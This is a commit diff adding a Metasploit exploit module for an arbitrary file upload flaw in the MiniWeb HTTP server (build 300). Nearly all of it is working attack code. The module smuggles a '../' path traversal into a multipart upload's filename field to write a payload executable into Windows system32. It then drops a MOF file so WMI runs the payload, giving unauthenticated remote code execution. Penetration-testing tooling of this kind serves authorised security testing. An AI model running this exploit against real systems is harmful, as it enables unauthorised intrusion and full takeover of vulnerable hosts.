Land rapid7#2223 - MiniWeb (Build 300) Arbitrary File Upload

Author: wchen-r7

modules/exploits/windows/http/miniweb_upload_wbem.rb

@@ -0,0 +1,141 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+#   http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = ExcellentRanking
+
+	HttpFingerprint = { :pattern => [ /MiniWeb/ ] }
+
+	include Msf::Exploit::Remote::HttpClient
+	include Msf::Exploit::EXE
+	include Msf::Exploit::WbemExec
+	include Msf::Exploit::FileDropper
+
+	def initialize(info={})
+		super(update_info(info,
+			'Name'           => "MiniWeb (Build 300) Arbitrary File Upload",
+			'Description'    => %q{
+				This module exploits a vulnerability in MiniWeb HTTP server (build 300).
+				The software contains a file upload vulnerability that allows an
+				unauthenticated remote attacker to write arbitrary files to the file system.
+
+				Code execution can be achieved by first uploading the payload to the remote
+				machine as an exe file, and then upload another mof file, which enables
+				WMI (Management Instrumentation service) to execute the uploaded payload.
+				Please note that this module currently only works for Windows before Vista.
+			},
+			'License'        => MSF_LICENSE,
+			'Author'         =>
+				[
+					'AkaStep', # Initial discovery
+					'Brendan Coles <bcoles[at]gmail.com>', # Metasploit
+				],
+			'References'     =>
+				[
+					['OSVDB', '92198'],
+					['OSVDB', '92200'],
+					['URL',   'http://dl.packetstormsecurity.net/1304-exploits/miniweb-shelltraversal.txt']
+				],
+			'Payload'        =>
+				{
+					'BadChars' => "\x00",
+				},
+			'Platform'       => 'win',
+			'Targets'        =>
+				[
+					# Tested on MiniWeb build 300, built on Feb 28 2013
+					# - Windows XP SP3 (EN)
+					['MiniWeb build 300 on Windows (Before Vista)', {}]
+				],
+			'Privileged'     => true,
+			'DisclosureDate' => "Apr 9 2013",
+			'DefaultTarget'  => 0))
+
+		register_options([
+			Opt::RPORT(8000),
+			OptInt.new('DEPTH', [true, 'Traversal depth', 10])
+		], self.class)
+
+	end
+
+	def peer
+		"#{rhost}:#{rport}"
+	end
+
+	def check
+
+		begin
+			uri = normalize_uri(target_uri.path.to_s, "#{rand_text_alpha(rand(10)+5)}")
+			res = send_request_cgi({
+				'method'  => 'GET',
+				'uri'     => uri
+			})
+		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE
+			fail_with(Exploit::Failure::Unreachable, "#{peer} - Connection failed")
+		end
+
+		if !res or res.headers['Server'].empty?
+			return Exploit::CheckCode::Unknown
+		elsif res.headers['Server'] =~ /^MiniWeb$/
+			return Exploit::CheckCode::Detected
+		end
+
+		return Exploit::CheckCode::Unknown
+
+	end
+
+	def upload(filename, filedata)
+
+		print_status("#{peer} - Trying to upload '#{::File.basename(filename)}'")
+		uri   = normalize_uri(target_uri.path.to_s, "#{rand_text_alpha(rand(10)+5)}")
+		depth = "../" * (datastore['DEPTH'] + rand(10))
+
+		boundary   = "----WebKitFormBoundary#{rand_text_alphanumeric(10)}"
+		post_data  = "--#{boundary}\r\n"
+		post_data << "Content-Disposition: form-data; name=\"file\"; filename=\"#{depth}#{filename}\"\r\n"
+		post_data << "Content-Type: application/octet-stream\r\n"
+		post_data << "\r\n#{filedata}\r\n"
+		post_data << "--#{boundary}\r\n"
+
+		begin
+			res = send_request_cgi({
+				'method'  => 'POST',
+				'uri'     => uri,
+				'ctype'   => "multipart/form-data; boundary=#{boundary}",
+				'data'    => post_data
+			})
+		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE
+			fail_with(Exploit::Failure::Unreachable, "#{peer} - Connection failed")
+		end
+
+		return res
+
+	end
+
+	def exploit
+		fname = "#{rand_text_alpha(rand(10)+5)}"
+
+		# upload exe
+		exe_name = "WINDOWS/system32/#{fname}.exe"
+		exe = generate_payload_exe
+		print_status("#{peer} - Sending executable (#{exe.length.to_s} bytes)")
+		upload(exe_name, exe)
+
+		# upload mof
+		mof_name = "WINDOWS/system32/wbem/mof/#{fname}.mof"
+		mof = generate_mof(::File.basename(mof_name), ::File.basename(exe_name))
+		print_status("#{peer} - Sending MOF (#{mof.length.to_s} bytes)")
+		upload(mof_name, mof)
+
+		# list files to clean up
+		register_file_for_cleanup("#{::File.basename(exe_name)}")
+		register_file_for_cleanup("wbem\\mof\\good\\#{::File.basename(mof_name)}")
+	end
+
+end